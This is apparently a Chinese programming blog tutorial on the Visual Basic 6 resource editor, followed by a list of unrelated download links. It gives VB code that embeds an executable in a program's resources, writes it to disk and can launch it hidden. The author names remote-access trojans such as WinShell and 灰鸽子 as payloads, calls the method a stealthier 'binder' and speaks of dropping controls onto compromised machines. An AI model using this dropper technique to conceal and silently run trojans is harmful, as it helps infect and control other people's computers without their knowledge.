精华内容
下载资源
问答
  • VB资源编辑器的奥秘

    千次阅读 2009-01-20 14:04:00
    一、资源的概念1.什么是资源资源(Resource)可以视作一个程序携带的除了代码和窗体的额外数据...用eXeScope打开可以看到“资源段”,从这里也可以看出,资源和EXE代码段是分开的,EXE启动时并不一定需要加载它,而是在

     

    一、资源的概念
    1.什么是资源
    资源(Resource)可以视作一个程序携带的除了代码和窗体的额外数据,它像一个EXE的plugin和database,可以包含文本、图片、鼠标、光标、二进制数据等,几乎所有的Windows应用程序中都拥有资源,例如最常见的MFC程序,用eXeScope打开可以看到“资源段”,从这里也可以看出,资源和EXE代码段是分开的,EXE启动时并不一定需要加载它,而是在程序里通过一定语句读取处理,因此使用资源也能提高程序的效率。资源的文件载体通常以.RC(VC++)或.RES(VB)存在于存储介质上。

    2.使用VB的资源编辑器
    资源在VC编程里是很常见的了,可是在VB编程里,依然有很多人不知道这个功能,相不相信?其实它就藏在VB的“工具”菜单--->“Resource Editor”(图1),资源编辑器界面就出来了(图2),它就长这模样,记住没有?
    如果你的VB的“工具”菜单里没有这个选项,请在“选项”里的“可连接的”属性页里把“工程资源管理器”选上(图3)。

    3.添加资源
    VB的资源编辑器可以放入5种资源:文本、光标、图标、图片、自定义资源,以自定义资源为例,点一下问号旁边最近的一个按钮,把一个EXE文件添加进去,资源编辑器就会出现一个“CUSTOM”目录树,添加进去的文件序号从101开始。(图4)
    记得保存哦,保存下来的RES文件已经和工程文件Link了,接下来开始编程。

    4.重要语句
    这个过程的作用是把CUSTOM资源里的指定数据读取出来写成文件,想到什么没有?不知道?后面再公布迷底:P
    ============================================================================
    Sub CreateFile(FileName As String, ResID As Integer, Size As Long)
    '---------------------------------------------
    '把资源读取出来保存为文件
    'Author:小金(LK007)
    'Site: www.s8s8.net
    'E-MAIL: LK007@163.com
    'Usage:CreateFile(文件名,资源序列号,文件大小)
    '----------------------------------------------
    On Error Resume Next
    Dim File() As Byte 'Btye类型的数组
    Dim Counter As Long
    Dim FileNum As Integer

    FileNum = FreeFile()

    File = LoadResData(ResID, "CUSTOM") '将自定义资源中ResID号资源读入数组
    Open FileName For Binary As #FileNum '以二进制方式写文件
    For Counter = 0 To Size - 1 '注意因为从0 Byte开始因此以文件大小 - 1Byte 为终
    Put #FileNum, , File(Counter)
    Next Counter
    Close #FileNum
    End Sub
    ============================================================================
    注意!这个是最基本也是最重要的代码!

    二、开始编程
    在这里我并不想教大家用资源给自己的程序添加图标、光标等,那些不是本文讨论的范围。

    1.文件捆绑
    现在网络上随便都能下载到一个EXE捆绑机,它们的原理是把两个EXE通过适当的代码连接在一起,最终产生的集合体为两个EXE之和,用任意一款Hex分析工具就能看到两个PE头部和各个EXE的数据,这样的组合是启动了就马上分离出两个文件一起运行的,有点心思的人都能感觉到启动的速度比较慢(如果你机器很快就不算-_-),因为WriteFile和启动是需要时间的,而且我们不能控制这个过程。
    其实用VB的资源段,我们可以做得比EXE捆绑机好得多,最重要的是,它不是简单的两个PE组合,而且我们能控制它。
    强烈建议编程之前先用EXE压缩工具把EXE压小一点,对大家都有好处,真的。

    新建一个EXE工程,把一个EXE文件(WinShell、灰鸽子随便了)添加入自定义资源,预先需要记录资源里的文件原体积哦,VB是瞎子,不会帮你看的。
    现在可以找一个事件或者按钮来触发它,例如我把一个5000字节的EXE文件放入了101号资源,并在窗体加载时释放它到程序运行的目录下面,就这样做:
    ===================================================
    Private Sub Form_Load()
    On Error Resume Next
    Call CreateFile(App.Path & "/resApp.exe",101,5000) '忘记了这个代码?看前面~~
    'Shell App.Path & "/resApp.exe",vbHide ''加上这句就马上偷偷运行了:)
    End Sub
    ==================================================
    编译成EXE,看看它的体积,发现没有?加入的资源是5000字节,出来的EXE是16KB,另外开个空EXE编译出来也是16KB,这个捆绑并不是简单的PE组合,因此两个文件总和始终小于简单的文件捆绑,经过多次测试,VB资源里捆绑的文件在编译出来后就等于被再次压缩了10%----45%,是不是很惊讶呢?
    附:更详细的完整代码见附件。别怕,我捆绑的资源是一个Hello World程序,无害,也没什么用处。


    2.ActiveX in Execute
    VB程序的兼容性向来不是很好,一不小心就Can't create Object,归根结底是因为制作者用了ActiveX而又没有相关注册措施,例如一些VB编写的Hacker工具就普遍采用MSWINSCK.OCX作为WinSock介面(我写的Client也是这么偷懒的:P)
    正是因为这样,VB程序经常危机重重,许多人不得不用M$提供的VB安装向导,一个程序才500KB,愣是做个2MB多的向导出来,资源极度浪费-_-而且你不可能想在肉鸡上用向导放你的宝贝程序吧?
    用了VB的资源,你会发现原来一切都这么简单!
    同样,建议你把需要的ActiveX文件用PECompact压缩一下……
    制作这个不能像上面的EXE捆绑那样自由,因为你需要在需要的ActiveX没加载之前就把它交出来并DllRegister,否则你会发现错误依旧……所有窗体都没有加载前是最好的时机,别忘记VB的Sub Main()
    同上,制作一个EXE工程,把你需要的ActiveX塞进资源,记录体积,现在来看这个代码:
    ==================================================
    Sub Main()
    Dim rc As Integer
    Call CreateFile("C:/WINDOWS/SYSTEM/richtx32.ocx", 101, 260096) '释放~~~
    rc = Register("C:/WINDOWS/SYSTEM/richtx32.ocx") '注册~~~
    If eRegisterServerReturn_RegSuccess Then
    Load Form1 '加载~~~~~~
    Form1.Show
    Else
    MsgBox "注册ActiveX失败,程序不能启动:(", vbCritical, "LK007"
    End
    End If
    End Sub
    ==================================================
    完成一个ActiveX的注册就这么简单,呵呵,谁也不会想到你的EXE里居然还捆绑着ActiveX。
    当然,别忘记了注册ActiveX的代码……
    ==================================================
    Public Const E_ERR_BASE = 17980 + vbObjectError
    Public Enum EErrRegisterServer
    eErrRegisterServer_InvalidFileName = E_ERR_BASE + 1
    eErrRegisterServer_ComponentFailure
    End Enum
    Public Const S_ERR_InvalidFileName = "无效的文件"
    Public Const S_ERR_ComponentFailure = "注册失败"

    Public Enum ERegisterServerReturn
    eRegisterServerReturn_CannotBeLoaded = 1
    eRegisterServerReturn_NotAValidComponent = 2
    eRegisterServerReturn_RegFailed = 3
    eRegisterServerReturn_RegSuccess = 4
    eRegisterServerReturn_UnregSuccess = 5
    eRegisterServerReturn_UnregFailed = 6
    End Enum

    Public Declare Function LoadLibraryRegister Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
    Public Declare Function FreeLibraryRegister Lib "kernel32" Alias "FreeLibrary" (ByVal hLibModule As Long) As Long
    Public Declare Function CreateThreadForRegister Lib "kernel32" Alias "CreateThread" (lpThreadAttributes As Any, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, ByVal lpparameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
    Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
    Public Declare Function GetProcAddressRegister Lib "kernel32" Alias "GetProcAddress" (ByVal hModule As Long, ByVal lpProcName As String) As Long
    Public Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
    Public Declare Function GetExitCodeThread Lib "kernel32" (ByVal hThread As Long, lpExitCode As Long) As Long
    Public Declare Sub ExitThread Lib "kernel32" (ByVal dwExitCode As Long)

    Public Const STATUS_WAIT_0 = &H0
    Public Const WAIT_OBJECT_0 = ((STATUS_WAIT_0) + 0)

    Function Register(m_sFileName As String) As ERegisterServerReturn
    On Error GoTo hComponentFailure
    Dim dwExitCode As Long
    Dim fSuccess As Long
    Dim hThread As Long
    Dim lLib As Long
    Dim lProcAddress As Long
    Dim lpThreadID As Long

    If m_sFileName = "" Then Exit Function

    lLib = LoadLibraryRegister(m_sFileName)
    If lLib = 0 Then
    Register = eRegisterServerReturn_CannotBeLoaded
    Exit Function
    End If

    lProcAddress = GetProcAddressRegister(lLib, "DllRegisterServer")

    If lProcAddress = 0 Then
    Register = eRegisterServerReturn_NotAValidComponent
    If lLib Then Call FreeLibraryRegister(lLib)
    Exit Function
    Else
    hThread = CreateThreadForRegister(ByVal 0&, 0&, ByVal lProcAddress, ByVal 0&, 0&, lpThreadID)
    If hThread Then
    fSuccess = (WaitForSingleObject(hThread, 10000) = WAIT_OBJECT_0)
    If Not fSuccess Then
    Call GetExitCodeThread(hThread, dwExitCode)
    Call ExitThread(dwExitCode)
    Register = eRegisterServerReturn_RegFailed
    If lLib Then Call FreeLibraryRegister(lLib)
    Exit Function
    Else
    Register = eRegisterServerReturn_RegSuccess
    End If
    Call CloseHandle(hThread)
    If lLib Then Call FreeLibraryRegister(lLib)
    End If
    End If
    Exit Function

    hComponentFailure:
    Err.Raise eErrRegisterServer_ComponentFailure, App.EXEName & ".CRegisterServer", S_ERR_ComponentFailure

    End Function
    ==================================================
    附:更详细的完整代码见附件。程序释放并注册一个RichTextBox

    三、EOF
    牢记几个要点:
    1.资源里的文件长度不要记错
    2.太大的资源读取出来会很慢,如果你要做工具程序,建议在Load时使用Splash Window,别让用户以为你的程序死翘翘了
    3.别忘记养成压缩EXE的习惯,无论是放进资源的还是最终编译的
    展开全文
  • 实例001 启动VB 实例002 设置工程属性 实例003 定制工具栏 实例004 窗体的布局 实例005 对齐控件 实例006 在工程中查找文本 实例007 定制编程环境 1.2 VB应用程序的开发步骤 实例008 创建或打开新工程 实例...
  • 实例001 启动VB 实例002 设置工程属性 实例003 定制工具栏 实例004 窗体的布局 实例005 对齐控件 实例006 在工程中查找文本 实例007 定制编程环境 1.2 VB应用程序的开发步骤 实例008 创建或打开新工程 实例...
  • 打冰雹游戏源程序

    2013-06-16 00:07:04
    程序启动时,自动进入游戏状态,10个不同颜色的圆球从窗口顶部向下运动。用户使用鼠标指向其中一个圆球,然后单击。如果击中圆球则加1分,未击中则减1分,分数显示在“得分”文本框中。“所用时间”文本框中显示当前...
  • java源码包---java 源码 大量 实例

    千次下载 热门讨论 2013-04-18 23:15:26
     Java局域网通信——飞鸽传书源代码,大家都知道VB版、VC版还有Delphi版的飞鸽传书软件,但是Java版的确实不多,因此这个Java文件传输实例不可错过,Java网络编程技能的提升很有帮助。 Java聊天程序,包括服务端和...
  • vc++ 开发实例源码包

    2014-12-16 11:25:17
    vb实例。 p2p+technology 文档。 P2P视频技术源码(含开发文档) 目前的协议有如下一些特点: 1) 客户向服务器发送请求, 每个请求的长度不定. 请求的长度在第一个INT中指定. 2) 每个服务器通常会向多种客户提供服务...
  • java源码包2

    千次下载 热门讨论 2013-04-20 11:28:17
     Java局域网通信——飞鸽传书源代码,大家都知道VB版、VC版还有Delphi版的飞鸽传书软件,但是Java版的确实不多,因此这个Java文件传输实例不可错过,Java网络编程技能的提升很有帮助。 Java聊天程序,包括服务端和...
  • Java数组倒置 简单 Java图片加水印,支持旋转和透明度设置 摘要:Java源码,文件操作,图片水印 util实现Java图片水印添加功能,有添加图片水印和文字水印,可以设置水印位置,透明度、设置对线段锯齿状边缘处理、水印...
  • Java数组倒置 简单 Java图片加水印,支持旋转和透明度设置 摘要:Java源码,文件操作,图片水印 util实现Java图片水印添加功能,有添加图片水印和文字水印,可以设置水印位置,透明度、设置对线段锯齿状边缘处理、水印...
  • java源码包3

    千次下载 热门讨论 2013-04-20 11:30:13
     Java局域网通信——飞鸽传书源代码,大家都知道VB版、VC版还有Delphi版的飞鸽传书软件,但是Java版的确实不多,因此这个Java文件传输实例不可错过,Java网络编程技能的提升很有帮助。 Java聊天程序,包括服务端和...
  • java源码包4

    千次下载 热门讨论 2013-04-20 11:31:44
     Java局域网通信——飞鸽传书源代码,大家都知道VB版、VC版还有Delphi版的飞鸽传书软件,但是Java版的确实不多,因此这个Java文件传输实例不可错过,Java网络编程技能的提升很有帮助。 Java聊天程序,包括服务端和...
  • vc++ 应用源码包_1

    热门讨论 2012-09-15 14:22:12
    任务管理器应该大家都很熟悉,论坛里也有好多的任务管理器的源码,解决CListCtr刷新滚动条跳到开始处。 VC++实现网络连接查看器源码 非常好的一个实例,把网络连接的UDP/TCP都插入到CList控件中显示出来。 VC++...
  • vc++ 应用源码包_2

    热门讨论 2012-09-15 14:27:40
    任务管理器应该大家都很熟悉,论坛里也有好多的任务管理器的源码,解决CListCtr刷新滚动条跳到开始处。 VC++实现网络连接查看器源码 非常好的一个实例,把网络连接的UDP/TCP都插入到CList控件中显示出来。 VC++...
  • vc++ 应用源码包_6

    热门讨论 2012-09-15 14:59:46
    任务管理器应该大家都很熟悉,论坛里也有好多的任务管理器的源码,解决CListCtr刷新滚动条跳到开始处。 VC++实现网络连接查看器源码 非常好的一个实例,把网络连接的UDP/TCP都插入到CList控件中显示出来。 VC++...
  • vc++ 应用源码包_4

    热门讨论 2012-09-15 14:38:35
    任务管理器应该大家都很熟悉,论坛里也有好多的任务管理器的源码,解决CListCtr刷新滚动条跳到开始处。 VC++实现网络连接查看器源码 非常好的一个实例,把网络连接的UDP/TCP都插入到CList控件中显示出来。 VC++...
  • vc++ 应用源码包_3

    热门讨论 2012-09-15 14:33:15
    任务管理器应该大家都很熟悉,论坛里也有好多的任务管理器的源码,解决CListCtr刷新滚动条跳到开始处。 VC++实现网络连接查看器源码 非常好的一个实例,把网络连接的UDP/TCP都插入到CList控件中显示出来。 VC++...
  • vc++ 应用源码包_5

    热门讨论 2012-09-15 14:45:16
    任务管理器应该大家都很熟悉,论坛里也有好多的任务管理器的源码,解决CListCtr刷新滚动条跳到开始处。 VC++实现网络连接查看器源码 非常好的一个实例,把网络连接的UDP/TCP都插入到CList控件中显示出来。 VC++...
  • Java数组倒置 简单 Java图片加水印,支持旋转和透明度设置 摘要:Java源码,文件操作,图片水印 util实现Java图片水印添加功能,有添加图片水印和文字水印,可以设置水印位置,透明度、设置对线段锯齿状边缘处理、水印...
  • JAVA上百实例源码以及开源项目

    千次下载 热门讨论 2016-01-03 17:37:40
     Java局域网通信——飞鸽传书源代码,大家都知道VB版、VC版还有Delphi版的飞鸽传书软件,但是Java版的确实不多,因此这个Java文件传输实例不可错过,Java网络编程技能的提升很有帮助。 Java聊天程序,包括服务端和...
  •  静态编译后的易语言可执行程序(exe)和动态链接库(dll),运行不再依赖任何支持库文件,文件尺寸更小(相对以前的独立编译),PE结构更合理(取消了“易格式体”),加载速度更快,而且有效解决了“病毒误报”和...
  • DirectX8VB组件调用模块.ec disk.ec DisplaySettings.ec DIY 热键框模块.ec DLL.ec DLL注入模块.ec DOS命令模块.ec dqf1996.ec EC.EC edb-html.ec EdbServer1.0 客户端.ec EDB、高级表格、XLS互换.ec edb到...
  • 1345个易语言模块

    2012-01-27 19:41:59
    DirectX8VB组件调用模块.ec disk.ec DisplaySettings.ec DIY 热键框模块.ec DLL.ec DLL注入模块.ec DOS命令模块.ec dqf1996.ec EC.EC edb-html.ec EdbServer1.0 客户端.ec EDB、高级表格、XLS互换.ec edb到...
  • 1350多个精品易语言模块提供下载

    热门讨论 2011-06-06 17:51:09
    DirectX8VB组件调用模块.ec disk.ec DisplaySettings.ec DIY 热键框模块.ec DLL.ec DLL注入模块.ec DOS命令模块.ec dqf1996.ec EC.EC edb-html.ec EdbServer1.0 客户端.ec EDB、高级表格、XLS互换.ec edb到...

空空如也

空空如也

1 2
收藏数 25
精华内容 10
关键字:

vb窗体启动时加载图片